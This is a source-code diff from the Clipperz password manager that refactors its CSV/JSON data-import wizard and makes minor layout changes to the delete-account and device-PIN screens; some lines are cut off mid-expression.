a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport.js new file mode 100644 index 0000000..b0a001d --- /dev/null +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport.js @@ -0,0 +1,172 @@ +/* + +Copyright 2008-2015 Clipperz Srl + +This file is part of Clipperz, the online password manager. +For further information about its features and functionalities please +refer to http://www.clipperz.com. + +* Clipperz is free software: you can redistribute it and/or modify it + under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + +* Clipperz is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + See the GNU Affero General Public License for more details. + +* You should have received a copy of the GNU Affero General Public + License along with Clipperz. If not, see http://www.gnu.org/licenses/. + +*/ + +"use strict"; +Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures'); + +var _steps = ['Input', 'CsvColumns', 'CsvLabels', 'CsvTitles', 'CsvNotes', 'CsvHidden', 'Preview']; +var _stepNames = ['Input', 'Columns', 'Labels', 'Titles', 'Notes','Hidden','Preview']; + +Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass = React.createClass({ + _steps: _steps, + _stepNames: _stepNames, + _relevantSteps: { + 'csv': _steps, + 'json': [_steps[0], _steps[6]] + }, + + getInitialState: function() { + return { + 'currentStep': this._steps[0], + 'importContext': new Clipperz.PM.UI.ImportContext(), + 'nextStepCallback': null, + 'error': null + }; + }, + + //========================================================================= + + getStepIndex: function(aStep) { + return this._steps.indexOf(aStep); + }, + + getStepAfter: function() { + return this._steps[this.getStepIndex(this.state.currentStep) + 1]; + }, + + getStepBefore: function() { + return this._steps[this.getStepIndex(this.state.currentStep) - 1]; + }, + + isStepRelevant: function(aStep, aFormat) { + if (!aFormat) { + return true + } else { + return (this._relevantSteps[aFormat].indexOf(aStep) >= 0); + } + }, + + //-------------------------------------------------------------------------- + + goToStep: function(aStep) { + this.setState({ + 'currentStep': aStep, + 'nextStepCallback': null, + 'error': null + }); + }, + + handleNextStepOnClick: function() { + if (this.state.nextStepCallback) { + var newImportContext = this.state.nextStepCallback(); + + if (newImportContext) { + MochiKit.Base.update(this.state.importContext, newImportContext); + + if (this.state.currentStep == 'Input' && this.state.importContext.format == 'json') { + this.goToStep('Preview'); + } else if (this.state.currentStep == 'Preview') { + this.state.importContext.resetContext(); + this.goToStep('Input'); + } else { + this.goToStep(this.getStepAfter()); + } + } else { + if (this.state.currentStep == "Input") { + this.setState({'error': "unrecognized input format."}); + } else { + this.setState({'error': "unknown error."}); + } + } + } + }, + + handleBackOnClick: function() { + if (this.state.importContext.format == 'json' && this.state.currentStep == 'Preview') { + delete this.state.importContext.format; + this.goToStep('Input'); + } else if (this.state.currentStep != this._steps[0]) { + this.goToStep(this.getStepBefore()); + } + }, + + setNextStepCallback: function(aFunction) { + this.setState({'nextStepCallback': aFunction}); + }, + + getStepNavbarClass: function(aStep) { + var result; + + if (aStep == this.state.currentStep) { + result = 'active'; + } else if (this.state.importContext.format == 'json' && (aStep>=1&&aStep<=5) ) { + result = 'disabled'; + } else { + result = 'inactive'; + } + + return result; + }, + + //========================================================================= + + render: function () { + return React.DOM.div({className:'extraFeature dataImport'}, [ + React.DOM.h1({}, "Import"), + React.DOM.div({'className': 'content'}, [ + React.DOM.ul({'className': 'stepNavbar'}, + MochiKit.Base.map(MochiKit.Base.bind(function(aStep){ + var className; + + if (this.isStepRelevant(aStep,this.state.importContext.format)) { + className = (aStep == this.state.currentStep) ? 'active' : 'inactive'; + } else { + className = 'disabled'; + } + + return React.DOM.li({ + 'className': className + }, this._stepNames[this.getStepIndex(aStep)]); + }, this),this._steps) + ), + new Clipperz.PM.UI.Components.ExtraFeatures.DataImport[this.state.currentStep]({ + 'importContext': this.state.importContext, + 'setNextStepCallback': this.setNextStepCallback, + }), + React.DOM.a({ + 'className': 'button'+((this.state.currentStep == this._steps[0]) ? ' disabled' : ''), + 'onClick': this.handleBackOnClick, + }, "Back"), + React.DOM.a({ + 'className': 'button'+((! this.state.nextStepCallback) ? ' disabled' : ''), + 'onClick': this.handleNextStepOnClick, + }, "Next"), + (this.state.error) ? React.DOM.p({'className': 'error'}, "Error: " + this.state.error) : null + ]) + ]); + }, + + //========================================================================= +}); + +Clipperz.PM.UI.Components.ExtraFeatures.DataImport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass); diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js index e8db370..2430b1b 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js @@ -26,26 +26,44 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport'); Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.createClass({ - toggleColumn: function(columnN) { - var newState; + getInitialState: function() { + return { + 'selectedColumns': this.props.importContext.selectedColumns + }; + }, - newState = {'importData': this.props.importState.importData}; - newState.importData.selectedColumns[columnN] = ! newState.importData.selectedColumns[columnN]; + componentDidMount() { + this.props.setNextStepCallback(this.handleNextStep); + }, + + //------------------------------------------------------------------------- + + handleNextStep: function() { + return this.state; + }, + + //========================================================================= + + toggleColumn: function(columnN) { + var newSelectedColumns; + + newSelectedColumns = this.state.selectedColumns; + newSelectedColumns[columnN] = ! newSelectedColumns[columnN]; - this.props.setImportStateCallback(newState); + this.setState({'selectedColumns': newSelectedColumns}); }, render: function() { - +//console.log(this.props.importContext); var columnSelectors; var rowCount; var i; columnSelectors = []; - for (i=0; i(.*)<\/textarea>.*','g'); + + if (re.test(someHtml)) { + textarea = this.refs['input-textarea'].getDOMNode(); + textarea.innerHTML = someHtml.replace(re, '$1'); + result = textarea.innerHTML; + } else { + result = false; + } + + return result; + }, + + addImportIds: function (someJson) { + var count; + + for (count=0; count < someJson.length; count++) { + someJson[count]['_importId'] = count; + } + }, + + parseJson: function(aJsonString) { + var result; + var jsonData; + + try { + jsonData = JSON.parse(aJsonString); + this.addImportIds(jsonData); + result = jsonData; + } catch(e) { + result = false; + } + + return result; + }, + + parseCsv: function(aCsvString) { + var result; + var i; + + var parsedCsv = Papa.parse(aCsvString); + + if (parsedCsv.errors.length != 0) { + result = false; + } else { + result = this.csvFillEmptyCells(parsedCsv.data); + } + + return result; + }, + + csvFillEmptyCells: function(table) { + var i,j; + + var result = []; + + var maxColumns = MochiKit.Iter.reduce(function(prev,next) { + return Math.max(prev,next) + }, MochiKit.Base.map(function(row) {return row.length;}, table) ); + + for (i=0; i 0) { -// result = React.DOM.ul({'className': 'tagList'}, -// MochiKit.Base.map(function(aTag){ -// return React.DOM.li({}, aTag); -// }, tagList) -// ); -// } else { -// result = null; -// } -// -// return result; -// }, + getInitialState: function() { + if (this.props.importContext.format == 'csv') { + return this.props.importContext.processCsv() + } else { + return { + 'jsonToImport': this.props.importContext.jsonToImport, + 'recordsToImport': this.props.importContext.recordsToImport, + } + } + }, + + componentDidMount() { + this.props.setNextStepCallback(this.handleImport); + }, + + //------------------------------------------------------------------------- + + handleImport: function() { + MochiKit.Base.update(this.props.importContext, this.state); + + var filteredImportData = MochiKit.Base.filter( + MochiKit.Base.bind(function(r) { + return this.isRecordToImport(r); + }, this), + this.state.jsonToImport + ); + + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'importCards', filteredImportData); + + return true; + }, + + //========================================================================= + + toggleRecordToImport: function(record) { + var newRecordsToImport; + var recordPosition; + + newRecordsToImport = this.state.recordsToImport; + recordPosition = newRecordsToImport.indexOf(record._importId); + + if (recordPosition === -1) { + newRecordsToImport.push(record._importId); + } else { + newRecordsToImport.splice(recordPosition,1); + } + + this.setState({'recordsToImport': newRecordsToImport}); + }, + + isRecordToImport: function(record) { + return (this.state.recordsToImport.indexOf(record._importId)>=0) ? true : false; + }, + + getTags: function (aTitle) { + var result; + var tagList; + + var tagObject = Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aTitle); + + tagList = MochiKit.Base.keys(tagObject); + tagList = MochiKit.Base.filter(function(aTag) { return tagObject[aTag] }, tagList); + + if (tagList.length > 0) { + result = React.DOM.ul({'className': 'tagList'}, + MochiKit.Base.map(function(aTag){ + return React.DOM.li({}, aTag); + }, tagList) + ); + } else { + result = null; + } + + return result; + }, renderCardFields: function(someFields) { return MochiKit.Base.map(function(key) { @@ -65,13 +118,11 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass = React.createCl return React.DOM.li({'className': 'card'}, [ React.DOM.input({ 'type': 'checkbox', - 'checked': this.props.isRecordToImportCallback(aCard), - 'onChange': MochiKit.Base.partial(this.props.toggleRecordToImportCallback,aCard) + 'checked': this.isRecordToImport(aCard), + 'onChange': MochiKit.Base.partial(this.toggleRecordToImport,aCard) }), - React.DOM.h3({}, Clipperz.PM.DataModel.Record.filterOutTags(aCard.label)), -// REMOVE THE PREVIOUS LINE AND UNCOMMENT THE FOLLOWING 2 AFTER MERGE -// React.DOM.h3({}, Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aCard.label)), -// this.getTags(aCard.label), + React.DOM.h3({}, Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aCard.label)), + this.getTags(aCard.label), React.DOM.dl({'className': 'fields'}, this.renderCardFields(aCard.currentVersion.fields)), notesParagraph ]); @@ -80,38 +131,17 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass = React.createCl render: function() { var result; - if (! this.props.importState.importData || typeof(this.props.importState.jsonToImport)=='undefined' || !this.props.importState.jsonToImport) { + if (typeof(this.state.jsonToImport)=='undefined' || !this.state.jsonToImport) { result = "Error"; } else { var renderedPreview = React.DOM.ul({}, - MochiKit.Base.map(this.renderCard, this.props.importState.jsonToImport) + MochiKit.Base.map(this.renderCard, this.state.jsonToImport) ); - result = [ - React.DOM.h2({},"Preview"), - Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({ - 'format': this.props.importState.importData.format, - 'stepId': 'preview' - }), - React.DOM.button({ - 'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.importState.previousStep)}, "Back"), - React.DOM.span({}, " - "), - React.DOM.button({ - 'onClick': MochiKit.Base.bind(function() { - var filteredImportData = MochiKit.Base.filter( - MochiKit.Base.bind(function(r) { - return this.props.isRecordToImportCallback(r); - }, this), - this.props.importState.jsonToImport - ); - - MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'importCards', filteredImportData); - - this.props.resetImportStateCallback(); - }, this) - }, "Import"), - React.DOM.div({'className': 'jsonPreview'},renderedPreview), - ]; + result = + React.DOM.div({'className': 'jsonPreview'}, React.DOM.ul({}, + MochiKit.Base.map(this.renderCard, this.state.jsonToImport) + ) ); } return React.DOM.div({},result); diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/StepsNavigation.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/StepsNavigation.js deleted file mode 100644 index f4315cb..0000000 --- a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/StepsNavigation.js +++ /dev/null @@ -1,99 +0,0 @@ -/* - -Copyright 2008-2015 Clipperz Srl - -This file is part of Clipperz, the online password manager. -For further information about its features and functionalities please -refer to http://www.clipperz.com. - -* Clipperz is free software: you can redistribute it and/or modify it - under the terms of the GNU Affero General Public License as published - by the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - -* Clipperz is distributed in the hope that it will be useful, but - WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - See the GNU Affero General Public License for more details. - -* You should have received a copy of the GNU Affero General Public - License along with Clipperz. If not, see http://www.gnu.org/licenses/. - -*/ - -"use strict"; -Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport'); - -Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigationClass = React.createClass({ - - _stepsInfo: [ - { - id: 'input', - name: 'Input', - formats: ['json', 'csv'] - }, - { - id: 'csv-columns', - name: 'Columns', - formats: ['csv'] - }, - { - id: 'csv-labels', - name: 'Labels', - formats: ['csv'] - }, - { - id: 'csv-titles', - name: 'Titles', - formats: ['csv'] - }, - { - id: 'csv-notes', - name: 'Notes', - formats: ['csv'] - }, - { - id: 'csv-hidden', - name: 'Hidden', - formats: ['csv'] - }, - { - id: 'preview', - name: 'Preview', - formats: ['json', 'csv'] - } - ], - - render: function() { - var navigationButtons; - - if (this.props.prevStep && this.props.nextStep) { - navigationButtons = [ - React.DOM.button({'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.prevStep)}, "Back"), - React.DOM.span({}, " - "), - React.DOM.button({'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.nextStep), 'disabled': this.props.nextDisabled }, "Next") - ]; - } else { - - } - - return React.DOM.div({},[ - React.DOM.ul({'className': 'stepsOverview'}, - MochiKit.Base.map(MochiKit.Base.bind(function(aStep) { - var className; - - className = (aStep.id == this.props.stepId) ? 'active' : 'inactive'; - className = (MochiKit.Base.findValue(aStep.formats,this.props.format)>= 0) ? className+' enabled' : className+' disabled'; - - // TODO: replace with proper CSS - var style = (aStep.id == this.props.stepId) ? {'display': 'inline-block', 'textDecoration': 'underline'} : {'display': 'inline-block'}; - return React.DOM.li({'className': className, 'style': style}, aStep.name); - },this), this._stepsInfo) - ), - navigationButtons - ]); - } - -}); - -Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigationClass); \ No newline at end of file diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js index e8a9169..f158a18 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js @@ -43,7 +43,6 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({ handleDeleteAccount: function(event) { event.preventDefault(); - MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'deleteAccount'); }, @@ -77,14 +76,13 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({ render: function () { return React.DOM.div({className:'extraFeature deleteAccount'}, [ React.DOM.h1({}, "Delete Account"), + React.DOM.div({'className': 'content'}, [ React.DOM.form({'key':'form', 'className':'deleteAccountForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleDeleteAccount}, [ React.DOM.div({'key':'fields'},[ React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"), React.DOM.input({'key':'username', 'className': this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}), - React.DOM.span({'className': 'invalidMsg'},'Invalid username!'), React.DOM.label({'key':'passphrase-label', 'autoFocus': 'true', 'htmlFor' :'passphrase'}, "passphrase"), React.DOM.input({'key':'passphrase', 'className': this.state['passphrase'], 'type':'password', 'name':'passphrase', 'ref':'passphrase', 'placeholder':"passphrase"}), - React.DOM.span({'className': 'invalidMsg'},'Invalid passphrase!'), React.DOM.p({}, [ React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}), React.DOM.span({}, "I understand that all my data will be deleted and that this action is irreversible.") @@ -92,6 +90,7 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({ ]), React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableDeleteAccountButton(), 'className':'button'}, "Delete my account") ]) + ]) ]); }, diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js index 45c835e..9c8e938 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js @@ -36,7 +36,9 @@ Clipperz.PM.UI.Components.ExtraFeatures.DevicePINClass = React.createClass({ render: function () { return React.DOM.div({className:'extraFeature devicePIN'}, [ React.DOM.h1({}, "Device PIN"), - React.DOM.h3({}, this.props['PIN']) + React.DOM.div({'className': 'content'}, [ + React.DOM.h3({}, this.props['PIN']) + ]) ]); }, diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Import.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Import.js deleted file mode 100644 index a2d6717..0000000 --- a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Import.js +++ /dev/null @@ -1,409 +0,0 @@ -/* - -Copyright 2008-2015 Clipperz Srl - -This file is part of Clipperz, the online password manager. -For further information about its features and functionalities please -refer to http://www.clipperz.com. - -* Clipperz is free software: you can redistribute it and/or modify it - under the terms of the GNU Affero General Public License as published - by the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - -* Clipperz is distributed in the hope that it will be useful, but - WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - See the GNU Affero General Public License for more details. - -* You should have received a copy of the GNU Affero General Public - License along with Clipperz. If not, see http://www.gnu.org/licenses/. - -*/ - -"use strict"; -Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures'); - -Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass = React.createClass({ - - getInitialState: function() { - return { - 'currentStep': 'input', - 'importData': {'input': ""}, - 'recordsToImport': null - }; - }, - - goToStep: function(aStep) { - this.setState({'currentStep': aStep}); - }, - - resetState: function() { - this.replaceState( this.getInitialState() ); - }, - - //========================================================================= - - addImportIds: function (someJson) { - var count; - - for (count=0; count < someJson.length; count++) { - someJson[count]['_importId'] = count; - } - }, - - toggleRecordToImport: function(record) { - var newRecordsToImport; - var recordPosition; - - newRecordsToImport = this.state.recordsToImport; - recordPosition = newRecordsToImport.indexOf(record._importId); - - if (recordPosition === -1) { - newRecordsToImport.push(record._importId); - } else { - newRecordsToImport.splice(recordPosition,1); - } - - this.setState({'recordsToImport': newRecordsToImport}); - }, - - isRecordToImport: function(record) { - return (this.state.recordsToImport.indexOf(record._importId)>=0) ? true : false; - }, - - extractJsonFromClipperzExport: function(someHtml) { - var temporaryTextarea; - var regexMatch; - var result; - - // Should move the regex to global? - var re = new RegExp('.*